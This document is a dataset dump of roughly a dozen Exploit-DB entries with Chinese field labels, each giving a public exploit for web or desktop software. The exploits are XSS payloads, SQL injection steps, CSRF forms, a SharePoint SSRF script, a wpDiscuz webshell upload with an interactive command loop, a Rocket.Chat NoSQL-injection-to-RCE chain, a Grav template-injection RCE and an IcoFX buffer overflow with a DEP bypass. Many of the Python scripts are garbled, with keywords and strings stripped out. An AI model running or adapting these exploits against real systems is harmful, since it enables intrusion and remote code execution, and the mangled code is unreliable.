QLWD/code_shield huggingface dataset:
标题: Accela Civic Platform 21.1 - 'successURL' Cross-Site-Scripting (XSS) EDB-ID: 49990 CVE: 2021-34370 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-06-14 漏洞利用脚本: # Exploit Title: Accela Civic Platform 21.1 - 'successURL' Cross-Site-Scripting (XSS)
# Software Link: https://www.accela.com/civic-platform/
# Version: <= 21.1
# Author: Abdulazeez Alaseeri
# Tested on: JBoss server/windows
# Type: Web App
# Date: 07/06/2021
# CVE-2021-34370



================================================================
Accela Civic Platform Cross-Site-Scripting and Open Redirect <= 21.1
================================================================


================================================================
Request Heeaders start
================================================================

GET /ssoAdapter/logoutAction.do?servProvCode=SAFVC&successURL=%27^alert`1`^%27 HTTP/1.1

Host: Hidden

Cookie: JSESSIONID=bjmCs2TMr3RzVGT28iJafk0vRpZcd2uO0QVlR7K9.civpnode; BIGipServerAccela_Automation_av.web_pool_PROD=1360578058.47873.0000; LASTEST_REQUEST_TIME=1623056446126; LATEST_LB=1360578058.47873.0000; LATEST_SESSION_ID=xWGsssz3eS1biQdST9lnfkxyMMUp2q3HLR75bGaX; LATEST_WEB_SERVER=10.198.24.82; UUID=35e180c4-bde4-48e3-876f-0f32c6e85d5c; JSESSIONID=***************************; g_current_language_ext=en_US; hostSignOn=true

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Upgrade-Insecure-Requests: 1

Te: trailers

Connection: close

================================================================
Request Heeaders end
================================================================



================================================================
Response Heeaders start
================================================================
HTTP/1.1 200 OK

Connection: close

Set-Cookie: JSESSIONID=8qVANwRg4mQWxQ6vAuZOxtv7OEhEMbEXJdc2CzTY.civpnode; path=/ssoAdapter

X-XSS-Protection: 0

Content-Type: text/html;charset=ISO-8859-1

Content-Length: 73

Date: Tue, 08 Jun 2021 10:41:59 GMT



<script type='text/javascript'>document.location=''^alert`1`^''</script>

================================================================
Response Heeaders end
================================================================

Payload: %27^alert`1`^%27

for open redirect, replace the payload to a valid website. URL: https://www.exploit-db.com/exploits/49990
标题: Zenario CMS 8.8.52729 - 'cID' SQL injection (Authenticated) EDB-ID: 49988 CVE: 2021–27673 类型: WEBAPPS 平台: PHP 发布日期: 2021-06-11 漏洞利用脚本: # Exploit Title: Zenario CMS 8.8.52729 - 'cID' Blind & Error based SQL injection (Authenticated)
# Date: 05–02–2021
# Exploit Author: Avinash R
# Vendor Homepage: https://zenar.io/
# Software Link: https://github.com/TribalSystems/Zenario/releases/tag/8.8
# Version: 8.8.52729
# Tested on: Windows 10 Pro (No OS restrictions)
# CVE : CVE-2021–27673
# Reference: https://deadsh0t.medium.com/blind-error-based-authenticated-sql-injection-on-zenario-8-8-52729-cms-d4705534df38

##### Step To Reproduce #####

1) Login to the admin page of Zenario CMS with admin credentials, which is
http://server_ip/zenario/admin.php

2) Click on, New → HTML page to create a new sample page and intercept it
with your interceptor.

3) Just a single quote on the 'cID' parameter will confirm the SQL
injection.

4) After confirming that the 'cID' parameter is vulnerable to SQL
injection, feeding the request to SQLMAP will do the rest of the work for
you.

############ End ############ URL: https://www.exploit-db.com/exploits/49988
标题: Cerberus FTP Web Service 11 - 'svg' Stored Cross-Site Scripting (XSS) EDB-ID: 49981 CVE: 2019-25046 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-06-11 漏洞利用脚本: # Exploit Title: Cerberus FTP web Service 11 - 'svg' Stored Cross-Site Scripting (XSS)
# Date: 08/06/2021
# Exploit Author: Mohammad Hossein Kaviyany
# Vendor Homepage: www.cerberusftp.com
# Software Link: https://www.cerberusftp.com/download/
# Version:11.0 releases prior to 11.0.4, 10.0 releases prior to 10.0.19, 9.0 and earlier
# Tested on: windows server 2016
# CVE: CVE-2019-25046
------------
About Cerberus FTP Server (From Vendor Site) :     
                                
Cerberus FTP Server is a secure Windows file server with FTP, FTPS, SFTP, HTTPS, 
FIPS 140-2 validated, and Active Directory and LDAP authentication.
--------------------------------------------------------
Exploit Detailes :

This stored XSS bug happens when a user uploads an svg file with the following content :
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(123)"/>

Exploit POC :

# Vulnerable Path : /file/upload
# Parameter: files (POST)
# Vector: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(123)"/>

#Payload:  

POST /file/upload HTTP/1.1
Host: target.com
Connection: close
Content-Length: 484
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAAM6ZtOAsyklo6JG
Origin: https://target.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://target.com/file/d/home/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: cftpSID=U02_5UCTumW3vFtt5PrlWwoD4k9ccxW0A87oCM8-jsM

------WebKitFormBoundaryAAM6ZtOAsyklo6JG
Content-Disposition: form-data; name="cd"

/home
------WebKitFormBoundaryAAM6ZtOAsyklo6JG
Content-Disposition: form-data; name="csrftoken"

z-Zlffq0sPaJErxOsMgL4ITcW1x3AuZo3XlZRP5GcKg
------WebKitFormBoundaryAAM6ZtOAsyklo6JG
Content-Disposition: form-data; name="files[]"; filename="file.svg"
Content-Type: image/svg+xml

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(123)"/>

------WebKitFormBoundaryAAM6ZtOAsyklo6JG--

-------------------------- URL: https://www.exploit-db.com/exploits/49981
标题: Microsoft SharePoint Server 16.0.10372.20060 - 'GetXmlDataFromDataSource' Server-Side Request Forgery (SSRF) EDB-ID: 49982 CVE: 2021-31950 类型: WEBAPPS 平台: WINDOWS 发布日期: 2021-06-11 漏洞利用脚本: # Exploit Title: Microsoft SharePoint Server 16.0.10372.20060 - 'GetXmlDataFromDataSource' Server-Side Request Forgery (SSRF)
# Date: 09 Jun 2021
# Exploit Author: Alex Birnberg
# Software Link: https://www.microsoft.com/en-us/download/details.aspx?id=57462
# Version: 16.0.10372.20060
# Tested on: Windows Server 2019
# CVE : CVE-2021-31950

#!/usr/bin/env python3

 html
 random
 string
 xmlsaxsaxutils
 textwrap
 requests
 argparse
 xmletreeElementTree  ET
 requests_ntlm2  HttpNtlmAuth
 urllibparse  urlencode urlparse

 
   self args
    o  urlparseargsurl
    selfurl  argsurl
    selfservice  opath
    selfusername  argsusername
    selfpassword  argspassword
    selftarget  argstarget
    selfheaders  argsheader 
    selfmethod  argsrequest
    selfdata  argsdata
    selfcontent_type  argscontent_type
    selfs  requestsSession
    selfsauth  HttpNtlmAuthselfusername selfpassword
    selfsheaders  
       
    
    selfsproxies  
       
    

   self
    headers  
     selfheaders
       header  selfheaders
        header   x xstrip headersplit
         header  
          
        headers  header header
    method  
    bypass_local  
     selfmethod  selfmethodupper  
      method  
    
      method  
      bypass_local  joinrandomchoicestringascii_letters  i  
    content_type  
     selfcontent_type  selfcontent_type
      content_type  selfcontent_type
    data  
     selfdata  selfdata
      data  htmlescapeselfdataencode decode
    query_xml  textwrapdedentselftarget method bypass_local headers data content_type
    query_xml  xmlsaxsaxutilsescapequery_xmlreplace replace  
    data  textwrapdedentquery_xml
    r  selfsoap  data
    root  ETfromstringrcontent
    
      namespaces  
         
      
      value  rootfind namespaces   
       valuetag  
         rootfind namespacestext
      
        valuetext
    
      rcontent
      

   self service action data
    headers  
       action
       
       
    
     selfspostselfurl service headersheaders datadata

 __name__  
  parser  argparseArgumentParser
  parseradd_argument  required metavar
  parseradd_argument  required metavar
  parseradd_argument  required metavar
  parseradd_argument  required metavar
  parseradd_argument   action metavar
  parseradd_argument   metavar
  parseradd_argument   metavar 
  parseradd_argument   metavar
  exploit  Exploitparserparse_args
  exploittrigger URL: https://www.exploit-db.com/exploits/49982
标题: Accela Civic Platform 21.1 - 'servProvCode' Cross-Site-Scripting (XSS) EDB-ID: 49980 CVE: 2021-33904 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-06-11 漏洞利用脚本: # Exploit Title: Accela Civic Platform 21.1 - 'servProvCode' Cross-Site-Scripting (XSS)
# Exploit Author: Abdulazeez Alaseeri
# Software Link: https://www.accela.com/civic-platform/
# Version: <= 21.1
# Tested on: JBoss server/windows
# Type: Web App
# Date: 06/07/2021
# CVE: CVE-2021-33904


================================================================
Accela Civic Platform Cross-Site-Scripting <= 21.1
================================================================


================================================================
Request Heeaders start
================================================================

GET /security/hostSignon.do?hostSignOn=true&servProvCode=k3woq%22%5econfirm(1)%5e%22a2pbrnzx5a9 HTTP/1.1

Host: Hidden for security reasons

Cookie: JSESSIONID=FBjC0Zfg-H87ecWmTMDEcNo8HID1gB6rwBt5QC4Y.civpnode; LASTEST_REQUEST_TIME=1623004368673; g_current_language_ext=en_US; hostSignOn=true; BIGipServerAccela_Automation_av.web_pool_PROD=1360578058.47873.0000; LATEST_SESSION_ID=lVkV3izKpk9ig1g_nqSktJ3YKjSbfwwdPj0YBFDO; LATEST_WEB_SERVER=1.1.1.1; LATEST_LB=1360578058.47873.0000

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Upgrade-Insecure-Requests: 1

Te: trailers

Connection: close

================================================================
Request Heeaders end
================================================================



================================================================
Response Heeaders start
================================================================
HTTP/1.1 200 OK

Expires: Wed, 31 Dec 1969 23:59:59 GMT

Cache-Control: no-cache

X-Powered-By: JSP/2.3

Set-Cookie: LASTEST_REQUEST_TIME=1623004478373; path=/; domain=.Hidden for security reasons; secure

Set-Cookie: g_current_language_ext=en_US; path=/; domain=.Hidden for security reasons; secure

Set-Cookie: hostSignOn=true; path=/; domain=.Hidden for security reasons; secure

X-XSS-Protection: 0

Pragma: No-cache

Date: Sun, 06 Jun 2021 18:34:38 GMT

Connection: close

Content-Type: text/html;charset=UTF-8

Content-Length: 13222
================================================================
Response Heeaders end
================================================================


You can notice that the parameter "servProvCode" is vulnerable to XSS.
Payload: k3woq%22%5econfirm(1)%5e%22a2pbrnzx5a9 URL: https://www.exploit-db.com/exploits/49980
标题: WordPress Plugin Database Backups 1.2.2.6 - 'Database Backup Download' CSRF EDB-ID: 49984 CVE: 2021-24174 类型: WEBAPPS 平台: PHP 发布日期: 2021-06-11 漏洞利用脚本: # Exploit Title: WordPress Plugin Database Backups 1.2.2.6 - 'Database Backup Download' CSRF
# Date: 2/10/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/database-backups/
# Version: 1.2.2.6
# Tested on: Windows 10
# CVE: CVE-2021-24174

1. Description:
This plugin allows admins to create and download database backups. A CSRF can create DB backups stored publicly in the uploads directory.

2. Proof of Concept:


    
                


Backups can be accessed by the following URL.
http://localhost/wp-content/uploads/database-backups/ URL: https://www.exploit-db.com/exploits/49984
标题: Intelbras Router RF 301K - 'DNS Hijacking' Cross-Site Request Forgery (CSRF) EDB-ID: 49969 CVE: 2021-32403 类型: WEBAPPS 平台: HARDWARE 发布日期: 2021-06-09 漏洞利用脚本: # Exploit Title: Intelbras Router RF 301K - 'DNS Hijacking' Cross-Site Request Forgery (CSRF)
# Date: 01/05/2021
# Exploit Author: Rodolfo Mariano
# Version: Firmware 1.1.2-1.1.5
# CVE: 2021-32403

# Exploit Code: 
<html>
    <form action="http://10.0.0.1/goform/setSysTools" method="POST">
        <input name="module3" value="lanCfg" type="hidden">
        <input name="lanIP" value="10.0.0.1" type="hidden">
        <input name="lanMask" value="255.255.255.0" type="hidden"> URL: https://www.exploit-db.com/exploits/49969
标题: Wordpress Plugin wpDiscuz 7.0.4 - Arbitrary File Upload (Unauthenticated) EDB-ID: 49962 CVE: 2020-24186 类型: WEBAPPS 平台: PHP 发布日期: 2021-06-07 漏洞利用脚本: # Exploit Title: Wordpress Plugin wpDiscuz 7.0.4 - Arbitrary File Upload (Unauthenticated)
# Google Dork: inurl:/wp-content/plugins/wpdiscuz/
# Date: 2021-06-06
# Original Author: Chloe Chamberland 
# Exploit Author: Juampa Rodríguez aka UnD3sc0n0c1d0
# Vendor Homepage: https://gvectors.com/
# Software Link: https://downloads.wordpress.org/plugin/wpdiscuz.7.0.4.zip
# Version: 7.0.4
# Tested on: Ubuntu / WordPress 5.6.2
# CVE : CVE-2020-24186

#!/bin/bash

if [ -z $1 ]
then
  echo -e "\n[i] Usage: exploit.sh [IP] [/index.php/2021/06/06/post]\n"
  exit 0
elif [ -z $2 ]
then
  echo -e "\n[i] Usage: exploit.sh [IP] [/index.php/2021/06/06/post]\n"
  exit 0
else

post=$(curl -sI http://$1$2/ | head -n1)

if [[ "$post" == *"200 OK"* ]]; then
    wmu_nonce=$(curl -s http://$1$2/ | sed -r "s/wmuSecurity/\nwmuSecurity/g" | grep wmuSecurity | cut -d '"' -f3)
    webshell=$(curl -isk -X 'POST' -H 'X-Requested-With: XMLHttpRequest' -H 'Content-Type: multipart/form-data; boundary=---------------------------WebKitFormBoundaryUnD3s' --data-binary $'-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"action\"\x0d\x0a\x0d\x0awmuUploadFiles\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"wmu_nonce\"\x0d\x0a\x0d\x0a'$wmu_nonce$'\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"wmuAttachmentsData\"\x0d\x0a\x0d\x0aundefined\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"wmu_files[0]\"; filename=\"a.php\" Content-Type: image/jpeg\x0d\x0a\x0d\x0aGIF8\x0d\x0a<?php\x0d\x0aif(isset($_REQUEST[\'cmd\'])){\x0d\x0a        $cmd = ($_REQUEST[\'cmd\']);\x0d\x0a        system($cmd);\x0d\x0a        die;\x0d\x0a}\x0d\x0a?>\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"postId\"\x0d\x0a\x0d\x0a18\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s--\x0d\x0a' http://$1/wp-admin/admin-ajax.php | sed 's/\":"\http/\nhttp/g' | grep "http\:\\\\/" | cut -d '"' -f1 | sed 's/\\//g')

    echo -e "\nWebshell:" $webshell"\n"
    echo -e "--------------WIN--------------"
    echo -e "        ¡Got  webshell!        "
    echo -e "-------------------------------\n"
    while :
    do
 read -p '$ ' command
 curl -s $webshell?cmd=$command | grep -v GIF8
done
else
    echo -e "\n[!] The indicated post was not found\n"
fi
fi URL: https://www.exploit-db.com/exploits/49962
标题: WordPress Plugin wpDiscuz 7.0.4 - Remote Code Execution (Unauthenticated) EDB-ID: 49967 CVE: 2020-24186 类型: WEBAPPS 平台: PHP 发布日期: 2021-06-08 漏洞利用脚本: # Exploit Title: WordPress Plugin wpDiscuz 7.0.4 - Remote Code Execution (Unauthenticated)
# Date: 2021/06/08
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://gvectors.com/
# Software Link: https://downloads.wordpress.org/plugin/wpdiscuz.7.0.4.zip
# Version: wpDiscuz 7.0.4
# Tested on: Debian9, Windows 7, Windows 10 (Wordpress 5.7.2)
# CVE : CVE-2020-24186
# Thanks for the great contribution to the code: Z3roC00l (https://twitter.com/zeroc00I)

#!/bin/python3

import requests
import optparse
 re
 random
 time
 string
 json

parser  optparseOptionParser
parseradd_option  action dest 
parseradd_option  action dest 


options args  parserparse_args

  optionsurl   optionspath
    
    
    
    exit

session  requestsSession

main_url  optionsurl
path  optionspath
url_blog  main_url  path
clean_host  main_urlreplace replace

 
    
    
    
    
    
    

 
     wmuSec
     wc_post_id

    
        get_html  sessiongeturl_blog
        response_len  get_htmltext
        response_code  get_htmlstatus_code
        response_lenresponse_code

        raw_wmu  get_htmltextreplace
        wmuSec  refindallraw_wmureMULTILINEsplit
         wmuSec 
        raw_postID  get_htmltextreplace
        wc_post_id  refindallraw_postIDreMULTILINEsplit
         wc_post_id 

     requestsexceptionsConnectionError  err
        url_blog
        
        exit


 
     shell_name 
    
    shell_name  joinrandomchoicestringascii_lowercase  x  
    timesleep  
    shell_name

     shell_name


 
     shell
    
    
        upload_url  main_url  
        upload_cookies     
        upload_headers               clean_host    url_blog
        upload_data  wmuSecshell_namewc_post_id
        check  sessionpostupload_url headersupload_headers cookiesupload_cookies dataupload_data
        json_object  jsonloadschecktext
        status  json_object

        get_path  checktextreplace
        shell_pret  refindallget_pathreMULTILINE
        find_shell  shell_pret
        raw  find_shellreplacereplacereplacereplacereplace)
        shell  rawsplit

         status  
             shell
        
             url_blog 
            exit

     requestsexceptionsHTTPError  conn
         url_blog 

     shell


 
    
             
                cmd  
                codex  sessiongetshell  cmd
                codextextreplacereplace
    
        


banner
csrfRequest
nameRandom
shell_upload
code_exec URL: https://www.exploit-db.com/exploits/49967
标题: Rocket.Chat 3.12.1 - NoSQL Injection (Unauthenticated) EDB-ID: 49960 CVE: 2021-22911 类型: WEBAPPS 平台: LINUX 发布日期: 2021-06-07 漏洞利用脚本: # Title: Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated)
# Author: enox
# Date: 06-06-2021
# Product: Rocket.Chat
# Vendor: https://rocket.chat/
# Vulnerable Version(s): Rocket.Chat 3.12.1
# CVE: CVE-2021-22911
# Credits: https://blog.sonarsource.com/nosql-injections-in-rocket-chat

#!/usr/bin/python

import requests
import string
import time
 hashlib
 json
 oathtool
 argparse

parser  argparseArgumentParserdescription
parseradd_argument  required
parseradd_argument  required
parseradd_argument  required
args  parserparse_args


adminmail  argsa
lowprivmail  argsu
target  argst


 emailurl
 payloademail
 headers 
 r  requestsposturl data  payload headers  headers verify   allow_redirects  
 


 url
 u  url
 headers 
 token  

 num  
 string_ints      num
 characters  stringascii_uppercase  stringascii_lowercase    string_ints

  token 
   c  characters
   payload  token  c
   r  requestspostu data  payload headers  headers verify   allow_redirects  
   timesleep
       rtext
    token  c
    f

 f
  token


 urltoken
 payload  token
 headers 
 r  requestsposturl data  payload headers  headers verify   allow_redirects  
    rtext
  exit
 


 urlemail
 
 sha256pass  hashlibsha256bhexdigest
 payload emailsha256pass
 headers 
 r  requestsposturl  datapayloadheadersheadersverifyallow_redirects
    rtext
  exit
 data  jsonloadsrtext  
 data data
 userid  data
 token  data
 f

 
 cookies   userid token
 headers userid token
 payload  
 r  requestsgeturlpayloadcookiescookiesheadersheaders
 code  rtext
 f
  code


 urltokencode
 payload  tokencode
 headers 
 r  requestsposturl data  payload headers  headers verify   allow_redirects  
    rtext
  exit

 


 urlcodecmd
 
 sha256pass  hashlibsha256bhexdigest
 headers 
 payload  sha256passcode
 r  requestsposturl  datapayloadheadersheadersverifyallow_redirects
    rtext
  exit
 data  jsonloadsrtext
 data data
 userid  data
 token  data
 

 
 payload  cmd
 cookies   userid token
 headers   userid token
 r  requestsposturlcookiescookiesheadersheadersdatapayload
 data  rtext
 data  datasplit
 token  data
 token  token
 _id  data
 _id  _id

 
 u  url    _id   token
 r  requestsgetu
 rtext





f

forgotpasswordlowprivmailtarget


token  resettokentarget


changingpasswordtargettoken




secret  twofactortargetlowprivmail



f
forgotpasswordadminmailtarget


token  resettokentarget



code  oathtoolgenerate_otpsecret
changingadminpasswordtargettokencode



 
 cmd  
 code  oathtoolgenerate_otpsecret
 rcetargetcodecmd URL: https://www.exploit-db.com/exploits/49960
标题: Grav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated) EDB-ID: 49961 CVE: 2021-29440 类型: WEBAPPS 平台: PHP 发布日期: 2021-06-07 漏洞利用脚本: # Title: Grav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated)
# Author: enox
# Date: 06-06-2021
# Vendor: https://getgrav.org/
# Software Link: https://getgrav.org/download/core/grav-admin/1.7.10
# Vulnerable Version(s): Grav CMS 1.7.10
# CVE: CVE-2021-29440
# Credits: https://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities
# NOTES: You need a user who has access to /admin dashboard with page creation privileges.

#!/usr/bin/python

import requests
from bs4 import BeautifulSoup
 random
 string


username  
password  
url  


session  requestsSession



 urlusernamepassword
 r  sessiongeturl  
 soup  BeautifulSouprtext features
 nonce  soupfindAll
 nonce  nonce

 
 payload f
 headers   
 r  sessionposturldatapayloadheadersheaders




 urlcmd
 
 project_name  joinrandomchoicesstringascii_uppercase  stringdigits k  
 r  sessiongeturlf
 soup  BeautifulSouprtext features
 nonce  soupfindAll
 form_id  soupfindAll
 form_id  form_id
 nonce  nonce

 
 headers   
 payload  f
 r  sessionposturlfdatapayloadheadersheaders

 
 r  sessiongeturlf
    rtext
  
 
  a  rtextsplit
  b  asplit
  b


 
 
 r  sessiongeturl  
 soup  BeautifulSouprtext features
 nonce  soupfindAll
 nonce  nonce

 
 r  sessiongeturlf

loginurlusernamepassword

 
 cmd  
 rceurlcmd URL: https://www.exploit-db.com/exploits/49961
标题: IcoFX 2.6 - '.ico' Buffer Overflow SEH + DEP Bypass using JOP EDB-ID: 49959 CVE: 2013-4988 类型: LOCAL 平台: WINDOWS 发布日期: 2021-06-07 漏洞利用脚本: # Exploit Title: IcoFX 2.6 - '.ico' Buffer Overflow SEH + DEP Bypass using JOP
# Date: 2020-05-20
# Exploit Author: Austin Babcock
# Vendor Homepage: https://icofx.ro/
# Software Link: https://drive.google.com/file/d/1SONzNStA_W3pAPU5IUvsYS3z0jYymEZn/view?usp=sharing
# Version: 2.6.0.0
# Tested on: Windows 7 Ultimate x64
# CVE: CVE-2013-4988
# Steps: 1. Run script 2. Open application 3. Open maliciousJOP.ico via file -> open dropdown menu


# Payload Length: 1626 bytes













 struct
 

header  
option  
pad2  
nseh  

base  

seh  structpack 






jopSetup  structpack 
jopSetup  structpack 
jopSetup  structpack base   
jopSetup  structpack base   
jopSetup  structpack 
jopSetup  structpack base   





jopSetup  structpack base   
jopSetup  structpack 
jopSetup  structpack base   
jopSetup  structpack base   
jopSetup  structpack base   
jopSetup  structpack base   





jopSetup  structpack base   
jopSetup  structpack  


jopSetup  structpackbase   
jopSetup  structpackbase   





jopSetup  structpack base   
table  structpack 


 i  
  table  structpack  





table  structpack 

vpPtr  structpack   




msg_sc  
          
          
          
          
          


exit_sc  


addesp   
shellcode  addesp  msg_sc  exit_sc
nopwrap    shellcode  shellcode  



paramPad   

paramPad  vpPtr


vpParams  structpack 
vpParams  structpack 
vpParams  structpack 
vpParams  structpack 
vpParams  structpack 



pad1    jopSetup  paramPad   vpParams  nopwrap
addVal  structpack 
pad1  addVal
pad1  table 
pad1  pad1


payload  header  pad1  option  pad2  nseh  seh

writeFile    
writeFilewrite payload 
writeFileclose URL: https://www.exploit-db.com/exploits/49959